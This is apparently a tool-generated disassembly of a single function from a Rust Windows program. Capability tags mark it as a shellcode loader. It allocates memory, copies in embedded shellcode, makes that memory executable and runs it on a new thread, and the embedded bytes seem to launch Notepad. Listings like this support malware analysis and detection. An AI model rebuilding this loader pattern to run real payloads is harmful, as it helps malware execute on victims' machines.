Function at 0x1400015a0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
lea rax, str.___Memory_Allocation_Being_Performed_n
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
lea rdi, str.___Memory_Allocation_Being_Performed_n
mov qword [rsp + 0x48], rdi
xorps xmm6, xmm6
movups xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x38]
call dbg._print
mov edx, 0x113
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call sub.kernel32.dll_VirtualAlloc
mov rsi, rax
lea rax, str.___Copying_a_Shellcode_To_Target_Memory_n
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rdi
movups xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x38]
call dbg._print
movaps xmm0, xmmword [0x1400ac050]
movups xmmword [rsi], xmm0
movaps xmm0, xmmword [0x1400ac060]
movups xmmword [rsi + 0x10], xmm0
movaps xmm0, xmmword [0x1400ac070]
movups xmmword [rsi + 0x20], xmm0
movaps xmm0, xmmword [0x1400ac080]
movups xmmword [rsi + 0x30], xmm0
movaps xmm0, xmmword [str.RAQH]
movups xmmword [rsi + 0x40], xmm0
movaps xmm0, xmmword [0x1400ac0a0]
movups xmmword [rsi + 0x50], xmm0
movaps xmm0, xmmword [0x1400ac0b0]
movups xmmword [rsi + 0x60], xmm0
movaps xmm0, xmmword [0x1400ac0c0]
movups xmmword [rsi + 0x70], xmm0
movaps xmm0, xmmword [0x1400ac0d0]
movups xmmword [rsi + 0x80], xmm0
movaps xmm0, xmmword [0x1400ac0e0]
movups xmmword [rsi + 0x90], xmm0
movaps xmm0, xmmword [0x1400ac0f0]
movups xmmword [rsi + 0xa0], xmm0
movaps xmm0, xmmword [0x1400ac100]
movups xmmword [rsi + 0xb0], xmm0
movabs rax, 0xff57e9128b485a59
mov qword [rsi + 0xc0], rax
mov dword [rsi + 0xc8], 0x485dffff
mov word [rsi + 0xcc], 0x1ba
mov dword [rsi + 0xce], 0
mov dword [rsi + 0xd1], 0
movaps xmm0, xmmword [0x1400ac110]
movups xmmword [rsi + 0xd5], xmm0
movaps xmm0, xmmword [0x1400ac120]
movups xmmword [rsi + 0xe5], xmm0
movaps xmm0, xmmword [0x1400ac130]
movups xmmword [rsi + 0xf5], xmm0
movabs rax, 0x6f6ed5ffda894159
mov qword [rsi + 0x105], rax
mov dword [rsi + 0x10d], 0x61706574
mov word [rsi + 0x111], 0x64
lea rax, str.___Changing_Page_Permissions_n
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rdi
movups xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x38]
call dbg._print
mov dword [rsp + 0x7c], 0
lea r9, [rsp + 0x7c]
mov edx, 0x113
mov rcx, rsi
mov r8d, 0x40
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x140001832
lea rax, str.___Thread_Being_Created_n
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rdi
movups xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x38]
call dbg._print
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rsi
xor r9d, r9d
call sub.kernel32.dll_CreateThread
mov rsi, rax
inc rax
cmp rax, 2
jb 0x1400018a3
lea rax, str.___Shellcode_Executed__nH
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x38]
call dbg._print
mov rcx, rsi
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rdi
pop rsi
ret
call sym.windows_core::error::Error::from_win32::h92fd48f40b993f58
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], edx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x80], rax
lea rax, [sym.__windows_core::error::Error_as_core::fmt::Display_::fmt::h38c9e9f93a75168c]
mov qword [rsp + 0x88], rax
lea rax, str.____VirtualProtect_Failed_With_Error:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.src_main.rs
lea rcx, [rsp + 0x38]
call dbg.panic_fmt
jmp 0x140001912
call sym.windows_core::error::Error::from_win32::h92fd48f40b993f58
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], edx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x80], rax
lea rax, [sym.__windows_core::error::Error_as_core::fmt::Display_::fmt::h38c9e9f93a75168c]
mov qword [rsp + 0x88], rax
lea rax, str.____CreateThread_Failed_With_Error:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.src_main.rs
lea rcx, [rsp + 0x38]
call dbg.panic_fmt
ud2